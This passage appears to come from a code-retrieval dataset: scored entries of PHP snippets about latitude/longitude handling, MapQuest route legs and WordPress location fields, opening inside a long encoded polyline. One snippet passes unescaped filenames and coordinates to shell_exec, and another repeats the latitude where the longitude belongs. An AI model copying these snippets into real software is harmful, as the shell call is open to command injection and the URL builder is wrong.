mA~DrGxBpF~AjGn@nFVnF@nEGfyCAd\\\\AlB?fNDfDF~BFfAXbDLtBJrB~Dji@xBfZNrB|B|Zp@tJf@fDd@pBh@nBbApCx@pBnAvBxA|B|AjBp^rd@~IvKxA`Cn@lAnAbDnAzEt@|EVrCL`DFnCB~P?fD@f`@AfB@fPOjNI|FAlD@jTApWLjsA@bHBzPA~K@tCCdL?`JD|i@H`g@?jBCj_@Bvr@@`QFfJBbCDnK@dN@bR?dCCfRArDGrBOnCi@lGmA|REhA?vB?zJ?bC?r\\\\?xBP|RBjAn@xS~@jXFbCR~FJrDD~T?dC?`O@pCBvMAdR??i@rD_@~@[h@??iDfEuBvCc@fAETM`AA^@n@H|@Jd@L\\\\\\\\l@jB`C\\\\XZNXH^FX@ZCTE\\\\Kh@YNQT]z@}A^e@TORKn@Q`@CjABpI~@~Fr@tAJrGBdEAnEAfCRNBjAP|Ad@z@ZhB`ArAz@rO~Jz@t@h@f@`@f@x@lAn@pA^`AV~@XlATzAHbAFtC?zO@bE?vNHhCJrAZtBd@vBlArDx@bClBfF|DtK`EhLbFfNr@dB|BpEfCpErBjC~ApB|AbBlBfBzAnAzFzEbNbLtC~B|JhIvBdBvDfDjH|Ff[fW|InHfIrG`CjBhA~@rPhNxAnAtPdNp\\\\vXlO`M`JrHd]~X|BhBbGrEdGdD|EjCdEtBdStKrHbEdBx@jDxAfEzAhBh@hEdAdFbAlGr@fFp@ho@fIhh@tGziBpUpZvD|SlCx@Fr@BlGAbb@BvU@zQ?dVBzp@D|g@?jO?dg@BzLFhC?|H[lOs@pBW~Bc@rBm@jBw@nDqBhB{AhHwGbA}@pLiLf[aZ|[mZzTgTbD{CfT}RbF_FpDgDxG}Fl@e@xEqDvBgBxB_B|MgKjLwIbLyItQmNnC{BzL_JfEeDrB{AlWgSpFcE`W{RdDoCfBgBna@i`@xeAycAlQqPnBgBtByApCiBxEcC~CoApDkAhEgAdCe@vBYpDYhCMlAEr\\\\IzMCvr@?jMB~fA?baCJhc@B|DFfh@FfBB`v@TvhAVbKCfTo@t`@?zJ?~gABl`A?vb@Cj}ABf~A?~_@?bC@dMAz]B`LG`J[hE]dTkBhGa@~LKzNB|GAjSAr[Fz^BzC?t`@Clp@?hQDxC@`IChEMzBQrCYbBYxXaFjjIm{AdlAmTfGqA|C}@r[cLhc@qOjVsIra@uNhnBoq@dHeCdNyEt_Ak\\\\di@aRjAe@nGuCbDsBnDgCxPmNlDmC`BaAfAk@lCkAdBk@~Bo@jDo@tBS`BIrBEzC@x@BrALbD\\\\tM`BxCX|I`AdBLjDJlRDxp@?p}@FvIBrZ?pLDlJDzCPxK~@hDPz`@DpGArh@@lC@nCC`ACjBOxC_@r@M`EgAxAc@hDwAnEoBzVaLvt@e\\\\jr@e[`j@iV`CcAfBk@|C}@rBc@hDi@dC]nCUjBI~CEvJ@jVCvfAFzOElHF|m@BbSEzP@tJAlQDzS?xl@@`NC~K@pR?t]HtG?`\\\\Hjd@Ifq@C~_A?xBBvDGnCKtAIzDa@rASzAYzA]~DeAfBm@~@_@~DeBlDmBv@e@re@_^fe@w]|JwH|m@wd@pi@ka@fKsH|MgKfSgOfAu@|A}@bB}@fBy@bCeAdDkA`HyBlGmBtHiC|L{DjNsE|g@kPzQeGbJqCtNwE`MgEnxB_s@t|@gYbMaEpr@{TdwAwd@lEkAvDg@vc@[zg@g@|ZWrJGtJDtG\\\\lARrE`AlExAdLtGlCxBnDzEfFdG`GbHz^hd@nKzM`F|FpHrJdTvWbClClEpF`L|LpB|BjHjIxFxFlGlHzHtI~RvU`IxJzAdB`BxAnAz@hAn@`An@zAp@fBn@zBn@lCZ`BJjBDbF@bUSbJAlB@pMMpDBpIb@pRr@nDVnI`@dG@hDItDUpKu@nGk@nKu@nKw@l]uAdO]jk@mA``@Sph@Q`LKvAAlO?vH`@|HdBbIlDfAr@jB~A~DdDjOtTvAnBlS|XxE~GbOhTtE|GnAtBhDpGjD`HlKnOrMjRrIrLfUp\\\\jHtKzChFtd@feA~_@l}@fSle@ls@haBhHzP|FrMbJvOzEbH~D|FzJhNxDlEtBxAdAf@`GfBtEn@p@@lIJpa@?vERpCf@bChAvDlBfCnCdAfAtCdDpGnH`EjFrGlHhExC|AfAdHvCvDlAjBZ`F`@pZNbdA?pWD|e@E`nCLbt@@pGBrZAt_@Qj^@hfAFtsBQbZKxU?fLBbKFne@@xU?|]Frk@Fp_ACvtAAx^AtKCxBCxAAdEEnTDbHFnO?xkAGpLKvFe@vHkBzEwBvFuDvDoDhJaL|HmJlOyRfByBl@u@tBgCdBsApDsAhCUxKB~RDdYGfDCpM?xCAnEB|JEnEOfCWtBY|Cq@pA_@bBm@dIiDnBu@tDkAvBe@`B]`Fq@~DYbAE|ACp{AQvz@?t]?v^Ely@Gh`BCtP?vA@fBDbADfAN~Bd@dB`@jCr@bFlB~B`AbNtFlCbAfA^vDbAlCl@fBVzCXvCTbBHfBDjP@~H?zR?xAGhBMvAQlAQfAWjA[zAg@jAe@dEuBrAq@v@a@nBu@jCs@~Bc@nFa@bMAxLAbCHvCPbKlA~BRnFTlA@~BBzDFvF@|JJfDEzCGvAQnBYfASdAW~Ai@zJwBnEeApD}@tLqC|Bi@hDy@t@QzCe@zD_@rAItEKlB?|C@fOG~a@GzB?hSGpYCpSIbB?xBD|BNxBXjCb@dDZlCLvC@j]GbD?z^IpBIjBSf@IvAMvEw@`AKnBIp\\\\MpDA`ME`GIxJCjBBrGCxGIpX]bEC|B@bE^fBR|B^tCz@v@T`Bn@hAh@vC~A~@n@`CjBjFpEv\\\\xXnCvB`DzCnBtAbB~@rAh@zA\\\\vC^t@Dj@@xBAnBQ`MuAnEe@d[iD~AOlCYxCi@rCm@vBk@t@WlG_C??dAU~Am@`A]xBeAzIyEl@YvB}@t@U`AO|AI??l@RNRLXAvADzA??FrB@|@Cv@UzCIrB??u@pHc@rFIlECvB@fE@p`@?zD@\\\\BzJBnbAAl^DvCFdBLdBr@tEd@lBl@jBt@fB|@`B|ElI|JlQvPd[tIjPrWvg@zDdJjD~HtCjHjDxGbE~G~BpDfB~ChA~AbOdVlCbFvHrNhKbRdDzGfBhE`FbMlBxEdDxHrAnCz@~Ab@x@nB~CbBrCdF`IzEtHbJnMrGfKxEdJhEbIbElIzAnDzE~NnBnF~DdIpEhIbFhI??|\\\\dm@fEfIxBtDbHzMvQv]nAfC`DzFpBxDpDdHzJnRtCtFjBzD|BlE~J`Rt\\\\no@jA~B^~@Xj@fPrVjDhF~BrDbDtDxBzB`CpB~CtBfE`CvFvB~RtGrMlEtDjBlDdCrCdCfCtCdCrDxBzD`CxGrAjEt@xBzC~IjAbFz@vG^vE\\\\pQZxZFz@DhAt@tGvBlLjArG^hBj@|Bf@fBpBjFl@lAnYfj@~IzPrEhJbBxChHhNdc@zy@|Ttb@`GlLtKvS~BrExOzYhGpLbGtLbCdEp@rAtAlCdu@fwAdN`X~h@hdAxPv[~Sr`@|g@vaArF~Jh\\\\xn@vIlPjUlc@`BlCbArAt@|@~@`AhAbAjOjLzWfSfOfLvBpAZNXCtCvAlAr@|AfApDrCtDtC`FpDfCjBnCzBlCpCJ`@j@n@nArAnBbBda@xZxc@x\\\\zi@`b@r[`VvDzBdD|A`NtFnHpCfHtC`KbE|X~KzFxBbm@bVvj@xTxd@zQd^tNjH~CnBv@lBb@`EdBfQ`HdFrBbJnDjChA~ZbMvTvIrb@tPzu@nZryAjl@nyAbl@dzAll@vIlDh^tNdp@rWlTvIfS|HbFrBfO`G`LrEdK`ElVtJnW`KvJbEfK~Df|@t]~n@zVrTtItb@|PdA\\\\bBj@|@XnB`@t@LpCT~DHjIJvCFpEBvAA`DGl@Eb@KdGClE@tEB|BCpA@rBOxANhB?bB?tD@V?f@?L?b@?D?X?t@?`C?rBAjA?b@AZ?T@R@ZFFB^J\\\\`@VD~AfAf@P^Fb@BnC?|ECvEAhE?nE?v@Fj@Jz@Xj@ZXTVV`BvBb@D??\\\\p@`BlBbAdAzUbXdBfBrFdGnArB~CnF|CrF`DlFlAlBrAxAnDtGDd@~EfIhC`E|AxBtAxAvAlAfC~AjCxAnAv@`@\\\\|B|BfArAzRfWtCzDpE|Fn@|@fAlBf@bAl@xA`ExK\\\\x@n@rAvAhCxFxHxJfMvEjGvn@by@fVd[jMtPhQbUnLrOrDpEzElGdRnVjG`IxBrChs@x~@dc@|j@v{@~hAvI`LbLjNjA|Aja@rh@~q@~|@hRlV`q@b|@jF`Hp[pa@jb@hj@hQxTtG|HxE~E~AdBXH~ApBV\\\\hDbEV\\\\X\\\\vCtDdKxMxBtCNb@tBvCxG`KlAlBlHjKn{@lhArUrZjaBhvBzOrSdg@ro@jCpDdm@`w@|NhR~AjBjVj[|G`JnHfJj]~c@dP|StHrJt~@dlAbC|CXXnAhAbBhAxBfArAh@T@zAr@zAx@`Ax@Z^l@x@V^j@nAZbA^|APfBFfB?nHBrBFtAHt@RnAVdA\\\\dAj@hAT\\\\fArAZXhAv@rAp@xFdCvBbAjAx@x@t@j@n@~@lAva@bi@fBhC~C|Et@jAbCvDzF`J~EtGxEfGvCrDtCpDjA|AfAvApCrDvEfGz@fAfCbD`LxNnEzFjGbInPdTrIzKnJzLHXhBdCbEtGvBxC`ItJpDjEdRlUfS`Vzy@rbAbNnPfPlRrp@|w@|Yx]rMjOzVvZ`j@dp@fDpC|CpBfEbBrFrApBd@vCPjCJrmAI~OH`[@bm@IhMBrp@CpKGrAApJBxg@GvRGn]Lrc@Kju@A`VEhUDrl@CZAvTL`V@xd@KvF?bSDfBBvbAGn@?jE?`E?fj@Cx`@AfB?xCLpAPpA\\\\`Bh@`GhBfCp@`Ch@t@Pf@CvJpClEtApEvA`EnAPFnDhA`@LnEtAfAZzAXl@FfAHfA@zIChGAdGAhGGpEA??ArF@xHAzD?~CCxACbAKxBCn@e@xFq@vFcAlFiAxFy@~DuEpTcBtHoGt[If@_FtVe@jBg@|D}@bE_A`IKfDEbFFv`AHxb@A~^FjaAStw@?tJHlf@DhjBChkBE~iB?djB@~X?hjCAhN?f`@Hnw@Czr@GjpAFvL?fg@B~HCvPYhLYjOU|IA~EBbyBBrnBBnLIjJ[jK_Ax]oAve@_F||AgBlp@VtXz@fv@v@ru@r@vd@n@xn@JhO?~_ACrp@Fvu@Fp\\\\Bv~AAdc@AlU@fEDd[BvMJ~G`@~SR|I`@dSj@~YRzTNhQJfLRlUHdJRnUH`IJnJDdBJpBH|@ZjCPbAf@`Cx@rCdAlCbAtBfAjBv@dAnAzA`A`A`T~Q~FbFjHrGrJnItFxE|EjEfDrCdA~@f@b@nAfAtN~LjEvDjPrNfB|AVPR?\\\\XpAhAfHjGlC|BzFbF|DhD|BnB`Ax@f@d@Z`@n@~@r@~A`@lANt@ATJ~@H`B?vB@xF?z@D\\\\@xCAvF?rF?xF?vFAxF?vF?vF?vF?tFA`F?RAdA@~K@vFAjF?nF@j^?pCAjBAjEBd\\\\AvH?hN?rU?rT?rF?|Q?f@?zGKl@?pG?pA?dBCjR?LPlAE~nA@bECfc@?nC?fLA|r@?^?V?|D??K\\\\E^A~^E~{@M~xC?rFEti@?jICxb@???p@Cbe@?lb@Era@AnM@hSIna@Xn}EA`KB`vARv}BAdZFxEPdFVzCZdDd@dDz@dFx@xDhA|DzAnEdBbFpEjMhFtO`Kn[nDlKlNda@la@fkAfSpk@`dAtwCzm@jfBdn@dgBlKnZpg@rxA|Wtu@dCjHfDvJtNda@dA~CpJjXb]xaA`_@bfA|]rbAz_@vgAlDnJjD`Kn@vBrIzZbc@t}Ad@dBbb@d{A`C`Jdo@b}Bxj@tqBjn@|zBfMfd@r\\\\nlAfB`HxBrJbiA|xFdc@|xBvN|s@hAbFpBtHdB`Gb@dBjQho@jJz[rHbXnAzElAfEhg@lhBt@dE~@dGf@jETvDRhF^~PdAtb@f@zT`DbtAb@fQfDpwAnAlf@hClfAd@lTvDv~Ar@jZVtFp@pM|HbyAbPt|CvDxr@nAhVlB|]^jHHnCFtDCdDOpGYlFwTzbC_BjRsMjxAcHpv@{OpfBuJffAg@pGQxFC|FFtETjG^vEd@lEt@rEj@tChAtEhArDbAnC|qAx~CxKpWzQdc@t@fBnB`EpBpDhT`\\\\x{BbiDlRjYhF~H|s@~fAdQxWb\\\\rf@pOtUfSnZjF~H`Ynb@lMnRtJbOlEtG~I~M~AdCh[be@fDrFhAjBbC`FjCfHd@xAxBlGtDvKnGfRdBdF`K~YbGbQrDrKlFtOvI`WpCdIlRlj@tGlRtM|_@zIfWlBxFxAdEdA|Cr@xBZfARx@RnARhBDx@FvABrA?`BAlC?j@?\\\\CnG?D?J@fC@`C?bCA|BAdC?rBFR??P?vC@b@@h@?lA@~@?\\\\?~@?jFB`JQ`GMpBK|AQbAOjB]`B_@zAc@fAc@dAc@h@[bAk@P[\\\\Uf@[lAeA~BcChHqIn@k@pA{@vAo@x@WvPuDdYgGjGuAnCk@pAY~Bg@JCVDxEu@dD]tAGjAB`AFx@LNBxAd@xAt@ZRh@XPJP?zCfB~HxEpGvDxJ~FnC~AfAp@lDtBjAp@h@ZxHnE`DlB~D`Cr@b@JFj@\\\\d@VdBdAh@ZdJpF~BvAbB`AhHjEz@f@B@lAt@hAp@xIhFhWlO~@h@HDLJh@ZJFjYzPlBjA`DlBtGxDfL~G`CtAjp@n`@`@TlVzNfAn@HPrBnAdJfGj^jTt@d@fCpAzEtB~s@nYrEhBf_Ad_@~\\\\`Ntn@zVhEbBxB|@dJpDnKpDpBv@bNjFxEnBpVtJlTzIzw@f[nIhDnIfDrd@vQzIpDzYhLfUdJpLzErLrEnOfG|KrEnBz@pNpF`ZpLfE~Aht@vYtKlEhVlJdI~CjElBzBz@zOxG~Bt@`DpA|CvAzDxBbDzBjA|@pAfAlAjAnArAlArAjAzAvPhUbClDlJ`MdA~A`FtG|P|UjOnSbB`ChDjEn^`g@nFjHlL~OhB`ClAhBvGvIxC`EtB`Dp[tb@pC~Dz@pA~BbErAxCp@hB~@pCj@nBbArE^pB^hCNjAr@lIbAhMHbAv@tIRhCLhA`@xB\\\\xAt@fCDJn@dBTf@hAzBt@jAv@bArA~An@l@rBfBnFjDZTjBhAbFbDvAx@hKxGjAr@rLlH`C~A~PvKdOhJfLlHtBnA|BzAfCxArCfBrQfLjJ`GxBxApIdF`HlEdFdDlDtBzB|AhAn@`_@nUvEzC~MpItBnAlCdBtD`CfNxIvSlMlJbGzCnBpC`B`BjAtBnAnFlDvCbBnHtExE`DxAv@~EbDtEnC|GhExCnB~MpIvKzGxCpBhBdAtAbAP?zK`HrK`HlM`IhCdBfCxApBrAtSlMdM`IvNzIdC`Bj\\\\tS|@l@lN~ItN|I^VjCbBfNrIlAz@lBnAjNtIrEzCrHvEx@l@nS~L`JzFD@hMdIlC~AhG|D`W|OpRxL~GdEfIlF|IlFvClBdIbFhIdF`ElCdKpGpLhH`HnEhDrBlInF`DnBpm@p_@nInFvFrDbV`O`NpIvRvLdAv@~AtAhAhA~@jAjA`BfAnBjAfCl@`Bj@pBt@lDfIzc@zAdJ~F|[|^vqBnHva@L^DXrAnH`ArF~Fp[bs@f|D~DrOxa@hpAl_@fiAlGnUlDtO`[vhCrE|b@pFxd@hp@x}FHl@h@tDh@tC^fB^vAv@nCl@dBl@xAlBrE|P|[tTnb@`J~PzB~DxA|B~ArBf@p@\" \n }\n */\n $distance = $mqResult->{\"route\"}->{\"distance\"};\n if($distance > 0){\n $newLeg = new TripLeg();\n $newLeg->id =$lastid+10;\n $newLeg->distance = $distance;\n $newLeg->startLatLong = $lastLatLong;\n $newLeg->endLatLong = $newLatLong;\n $newLeg->MQencodedPath = $mqResult->{\"route\"}->{\"shape\"}->{\"shapePoints\"};\n\n //echo json_encode($newLeg);\n\n //Push the leg to the end of the $tripPaths->{$trip}\n array_push($tripPaths->{$trip},$newLeg);\n //var_dump($tripPaths);\n\n if($newTripsRoute = fopen($jsonRouteFilePath,\"w\")){\n fwrite($newTripsRoute, json_encode($tripPaths));\n fclose($newTripsRoute);\n $result = TRUE;\n }else{\n //error using fopen.\n $error_msg = \"Could not open file.\";\n $result = FALSE;\n }\n }else{\n //No distance between provided point and last point. Likely the same point was provided.\n $error_msg = \"No distance travelled\";\n $result = FALSE;\n }\n }else{\n $error_msg = \"No MapQuest result given. Could not add Leg to trip.\";\n $result = FALSE;\n }\n if(!empty($error_msg)){echo $error_msg;}\n return $result;\n}", "title": "" }, { "docid": "ea99f8075436036b3bad8143416dc1a2", "score": "0.46649542", "text": "function combineLatLng($lat, $lng) {\n return array_map(null, $lat, $lng);\n}", "title": "" }, { "docid": "9ac369992642cfc36a3a6e39f9a99aa8", "score": "0.466467", "text": "function set_exif_coords($filename, $lat, $lng) {\n echo \" Setting coords ($lat, $lng) for $filename\\n\";\n $cmd = \"/usr/bin/exiftool -overwrite_original -XMP:GPSLongitude='$lng' -XMP:GPSLatitude='$lat' -GPSLongitudeRef='West' -GPSLatitudeRef='North' '$filename' 2>&1 1> /dev/null\";\n $results = shell_exec($cmd);\n if(strpos($results, 'looks more like a PNG') !== false) {\n $results = shell_exec(\"/usr/bin/mogrify -format jpg '$filename'\");\n $results = shell_exec($cmd);\n }\n }", "title": "" }, { "docid": "ae51ba5da38a5196624cfe73827daf35", "score": "0.46608937", "text": "function save_lat_lng($post_ID)\n {\n if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \n return;\n\n //sanitize user input\n $lat = sanitize_text_field( $_POST['_address_lat'] );\n $lng = sanitize_text_field( $_POST['_address_lng'] );\n\n // either using \n update_post_meta($post_ID, '_address_lat', $lat);\n update_post_meta($post_ID, '_address_lng', $lng);\n }", "title": "" }, { "docid": "a858b3e065760caced9d211eb586abe1", "score": "0.46608055", "text": "function object_latlng($obj_type, $obj_or_id, $options = array()) { \n $obj = any2obj($obj_type, $obj_or_id);\n if(abs($obj->location_lat) > 0 && abs($obj->location_long) > 0) return array($obj->location_lat, $obj->location_long); \n $key = get_object_key($obj_type);\n $id = $obj->$key;\n $lat = $long = 0;\n $locObj = $obj->location_id ? get_object('location', $obj->location_id) : find_object('location', array('parent_type' => $obj_type, 'parent_id' => $id));\n if($locObj) {\n $lat = $locObj->location_lat;\n $long = $locObj->location_long;\n }\n return array($lat, $long);\n}", "title": "" }, { "docid": "1b33ea6614ba6f1d87ec2fe43166f5aa", "score": "0.4648483", "text": "public function locationSpecified() {\r\n if($this->locationMRU || $this->locationInternational || $this->locationCanada || $this->locationText) {\r\n return true;\r\n }\r\n\r\n return false;\r\n }", "title": "" }, { "docid": "8c8e8f5c25e4a0dc127f6a61c6432fbd", "score": "0.46474904", "text": "public function getLatitudeLongitude()\n\t\t\t{\n\t\t\t\t$latitude = $this->getLatitude();\n\t\t\t\t$longitude = $this->getLongitude();\n\n\t\t\t\tif ($latitude && $longitude)\n\t\t\t\t{\n\t\t\t\t\treturn $latitude . \",\" . $longitude;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "13565128edc58a35b6c977cbcc98d48d", "score": "0.4644738", "text": "function get_coordinates($line)\n\t{\n\t\tpreg_match('/^([A-Za-z])(\\d*).(\\d*.\\d*).([A-Za-z])(\\d*).(\\d*.\\d*)/', $line, $coords);\n\t\t\n\t\t$lat_dir = $coords[1];\n\t\t$lat_deg = $coords[2];\n\t\t$lat_min = $coords[3];\n\t\t\n\t\t$lng_dir = $coords[4];\n\t\t$lng_deg = $coords[5];\n\t\t$lng_min = $coords[6];\n\t\t\n\t\t$lat_deg = ($lat_deg*1.0) + ($lat_min/60.0);\n\t\t$lng_deg = ($lng_deg*1.0) + ($lng_min/60.0);\n\t\t\n\t\tif(strtolower($lat_dir) == 's')\n\t\t\t$lat_deg = '-'.$lat_deg;\n\t\t\n\t\tif(strtolower($lng_dir) == 'w')\n\t\t\t$lng_deg = $lng_deg*-1;\n\t\t\n\t\t/* Return container */\n\t\t$coords = array(\n\t\t\t'Route_FixLat' => $lat_deg,\n\t\t\t'Route_FixLon' => $lng_deg\n\t\t);\n\t\t\n\t\treturn $coords;\n\t}", "title": "" }, { "docid": "90385b16c9db740913a8d2f72797eae7", "score": "0.46437722", "text": "public function beforeSave()\n {\n\n $attributeChanged = $this->owner->isAttributeChanged($this->attribute);\n\n // store coordinates for afterSave;\n $this->_coordinates = $this->owner->{$this->attribute};\n\n $this->coordinatesToGeoJson();\n\n if (!$attributeChanged) {\n $this->owner->setOldAttribute($this->attribute, $this->owner->{$this->attribute});\n }\n\n return true;\n }", "title": "" }, { "docid": "72836006c349b84d4cba957d14eaf871", "score": "0.46374562", "text": "public function getLongitude(): string|null;", "title": "" }, { "docid": "7e00515e4c5ca62f133047f07b52c714", "score": "0.46361485", "text": "function reactor_post_location_format() {\n\tglobal $post;\n\t$loc_imgoverride = get_post_meta( $post->ID, '_loc_imgoverride', true );\n $loc_address_override = get_post_meta( $post->ID, '_loc_address_override', true );\n\tif ( $loc_imgoverride != 'true' && has_post_thumbnail() ) {\n\t\t$medium_image_url = wp_get_attachment_image_src( get_post_thumbnail_id(), 'medium');\n\t}\n\t$address = ( isset( $loc_address_override ) && strlen( $loc_address_override ) >= 1 ) ? $loc_address_override : get_post_meta( $post->ID, '_location_street_address', true );\n\t?>\n\t<?php if (isset($medium_image_url) && strlen($medium_image_url[0]) >= 1) { ?>\n\t<div class=\"catpage-post has-image\">\n\t\t<div class=\"catpage-image\" style=\"background-image:url('<?php echo $medium_image_url[0]; ?>');\">\n\t\t\t<div class=\"catimgspace location_space\"></div>\n\t\t</div>\n\t<?php } else { ?>\n\t<div class=\"catpage-post\">\n\t<?php } ?>\n\t\t<div class=\"catpage-post-inner\">\n\t\t\t<a href=\"<?php the_permalink(); ?>\" rel=\"bookmark\">\n\t\t\t\t<h2 class=\"entry-title\"><?php the_title(); ?></h2>\n\t\t\t</a>\n\t\t\t<h4><?php echo $address; ?></h4>\n\t\t\t<?php \n\t\t\treactor_post_meta( array( 'show_cat' => false, 'show_tag' => false, 'location' => true, 'show_date' => true, 'link_date' => false ) ); ?>\n\t\t</div>\n\t\t<div class=\"clear\"></div>\n\t</div>\n<?php }", "title": "" }, { "docid": "f93b327f2d6d763ef6565a0e28b7b9a7", "score": "0.46335444", "text": "static protected function _parse_response($s)\n {\n $a = (($a = json_decode(trim($s))) && (count(self::$_fields) == @count($a)))\n ? array_combine(self::$_fields, $a)\n : false;\n if ($a) {\n $a['locality'] = &$a['city'];\n }\n return $a;\n }", "title": "" }, { "docid": "bf07ef0590b6a5e540dbb9124ef12ee4", "score": "0.46320537", "text": "private function validateLocation($gMapsArray) {\n $result;\n\n if(!is_object($gMapsArray))\n return false;\n\n if(!is_array($gMapsArray->results))\n return false;\n\n $result = reset($gMapsArray->results);\n\n if(!is_array($result->address_components))\n return false;\n\n $result = $result->address_components;\n\n if(!is_array($result))\n return false;\n\n return $result;\n }", "title": "" }, { "docid": "c16dfd0cd07b654764374acf48e40851", "score": "0.46320403", "text": "private function _parse_vars($string = '', $latlng, $location)\n\t{\n\t\t//[location]\n\t\t$string = str_replace('[location]', $location, $string);\n\n\t\t//[route_to_url]\n\t\t$string = str_replace('[route_to_url]', 'https://maps.google.com/maps?daddr='.$latlng[0].','.$latlng[0], $string);\n\n\t\t//[route_url]\n\t\t$string = str_replace('[route_from_url]', 'https://maps.google.com/maps?saddr='.$latlng[0].','.$latlng[0], $string);\n\n\t\t//[map_url]\n\t\t$string = str_replace('[map_url]', 'https://maps.google.com/maps?q='.$latlng[0].','.$latlng[0], $string);\n\n\t\treturn trim($string);\n\t}", "title": "" }, { "docid": "059fbc4578f7d1ab292b4732a12e73f3", "score": "0.46239924", "text": "public function is_geolocation_show_on_shop_page() {\n $show_map_pages = dokan_get_option( 'show_location_map_pages', 'dokan_geolocation', 'shop' );\n\n if ( ( is_shop() || is_product_taxonomy() ) && ( 'shop' === $show_map_pages || 'all' === $show_map_pages ) ) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "469a28c92e8be8807e0446c3b52a71fb", "score": "0.46148795", "text": "private function filterLocation($details) {\n $this->locationValues = new StdClass();\n\n array_filter($details, array($this, 'getLocationValues'));\n }", "title": "" }, { "docid": "ddc09d33137dfff629d0e1d97b7fd3b8", "score": "0.46024507", "text": "public function get_lat_long($current_property_details,$property_uid ,$jrConfig){\n\n\t\t$jomres_property_types = jomres_singleton_abstract::getInstance('jomres_property_types');\n\t\t$jomres_property_types->get_all_property_types();\n\t\t\n\t\t\n\t\t\n\t\t $propertyData[ 'lat' ] = $current_property_details->multi_query_result[ $property_uid ][ 'lat' ];\n $propertyData[ 'long' ] = $current_property_details->multi_query_result[ $property_uid ][ 'long' ];\n\t\t\t\n\t\n\t\t$property_ts = $jomres_property_types->property_types;\n\t\t\n\t\t\n\t\tforeach ($property_ts as $property_t){\n\t\t\tif ($property_t['mrp_srp_flag'] ==3){\n\t\t\t$p_types_des[]= $property_t['ptype_desc'];\n\t\t\t}\n\t\t\t\n\t\t}\n\t\n\t\t\t$show_tour_theme = 0;\n\t\tif (in_array($current_property_details->property_type,$p_types_des )){ // rusty code check tour properties for show the tour compare theme\n\t\t\t\t\t\n\t\t\t\t\t\t$show_tour_theme = 1; \n\t\t\t\t}\n\t\t\t\tif ( $show_tour_theme == 0) {\n\t\t\t\t\n\t\t\t\tif ($propertyData[ 'lat' ] != null) {\n $output[ 'lat' ] = $propertyData[ 'lat' ];\n $output[ 'long' ] = $propertyData[ 'long' ];\n } elseif ($editing) {\n $output[ 'lat' ] = $jrConfig[ 'default_lat' ];\n $output[ 'long' ] = $jrConfig[ 'default_long' ];\n } \n\t\t\n\t\t\t\t}else{\n\t\t\t\t\n\t\t\t\t\tif ($propertyData[ 'lat' ][1] != null) {\n $output[ 'lat' ] = $propertyData[ 'lat' ];\n $output[ 'long' ] = $propertyData[ 'long' ];\n\t\t\t\t $output[ 'k' ] = count($propertyData[ 'lat' ]);\n\t\t\t\t\n } elseif ($editing) {\n $output[ 'lat' ] = $jrConfig[ 'default_lat' ];\n $output[ 'long' ] = $jrConfig[ 'default_long' ];\n\t\t\t\t\n\t\t\t\tif (count($propertyData[ 'lat' ]) !=null ){ \n\t\t\t\t$output[ 'k' ] = count($propertyData[ 'lat' ]);\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\t$output[ 'k' ] = 1;\n\t\t\t\t}\n } \t\n\t\t\t\t\t\n\t//print_r ($output);\n\t//exit;\n\t\t\t\treturn \t$output;\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t}", "title": "" }, { "docid": "cf17543371986dd28a104b3225333cbf", "score": "0.45914927", "text": "public function getLocationData()\n {\n return $this->locationData;\n }", "title": "" }, { "docid": "30edbfbde1674cc2c61d9be65b0b380f", "score": "0.4586156", "text": "public function testGetValidLocationByLocationStreetOne() {\n\t\t// count the number of rows and save it for later\n\t\t$numRows = $this->getConnection()->getRowCount(\"location\");\n\n\t\t// create a new Location and insert to into mySQL\n\t\t$location = new Location(null, $this->profile->getProfileId(), $this->payAttention, $this->sinCity, $this->granjalada, $this->stateOfMind, $this->warZone, $this->aptTwo, $this->whatHood);\n\t\t$location->insert($this->getPDO());\n\n\t\t// grab the data from mySQL and enforce the fields match our expectations\n\t\t$results = Location::getLocationByLocationStreetOne($this->getPDO(), $location->getLocationStreetOne());\n\t\t$this->assertEquals($numRows + 1, $this->getConnection()->getRowCount(\"location\"));\n\t\t$this->assertCount(1, $results);\n\t\t$this->assertContainsOnlyInstancesOf(\"Edu\\\\Cnm\\\\Rootstable\\\\Location\", $results);\n\n\t\t// grab the result from the array and validate it\n\t\t$pdoLocation = $results[0];\n\t\t$this->assertEquals($pdoLocation->getLocationProfileId(), $this->profile->getprofileId());\n\t\t$this->assertEquals($pdoLocation->getLocationAttention(), $this->payAttention);\n\t\t$this->assertEquals($pdoLocation->getLocationCity(), $this->sinCity);\n\t\t$this->assertEquals($pdoLocation->getLocationName(), $this->granjalada);\n\t\t$this->assertEquals($pdoLocation->getLocationState(), $this->stateOfMind);\n\t\t$this->assertEquals($pdoLocation->getLocationStreetOne(), $this->warZone);\n\t\t$this->assertEquals($pdoLocation->getLocationStreetTwo(), $this->aptTwo);\n\t\t$this->assertEquals($pdoLocation->getLocationZipCode(), $this->whatHood);\n\t}", "title": "" } ]
6b98aca47a3b90fe33894b828eb58a92
Sets the roles for the group.
[ { "docid": "ca447415fc90fd7fc75250efceb3da9a", "score": "0.7110901", "text": "public function setRoles(array $roles): Group\n {\n $this->roles = $roles;\n return $this;\n }", "title": "" } ]
[ { "docid": "b1295db7214a839f8f68fe1bf0112847", "score": "0.7676161", "text": "function setRoles($roles) {\n $this->roles = $roles;\n }", "title": "" }, { "docid": "b1295db7214a839f8f68fe1bf0112847", "score": "0.7676161", "text": "function setRoles($roles) {\n $this->roles = $roles;\n }", "title": "" }, { "docid": "d3dd9b53ff8a403c9c9d7cbb28542efc", "score": "0.7478512", "text": "function setRoles(array $roles);", "title": "" }, { "docid": "5526345aa79be0ba9dc3770aeb9a0520", "score": "0.7404713", "text": "public function setRoles(array $roles);", "title": "" }, { "docid": "5526345aa79be0ba9dc3770aeb9a0520", "score": "0.7404713", "text": "public function setRoles(array $roles);", "title": "" }, { "docid": "8dc8abe5dc49b15e5e9d6b734b560ef3", "score": "0.7249745", "text": "public function setRoles($roles)\n\t{\n\t\t$this->roles = $roles;\n\t}", "title": "" }, { "docid": "fe7aab88c397888a3f65604d921d8e7f", "score": "0.69525915", "text": "public function setRoles(array $roles)\n {\n $this->roles = $roles;\n }", "title": "" }, { "docid": "4abf854747cb04631f65a98796de5f1f", "score": 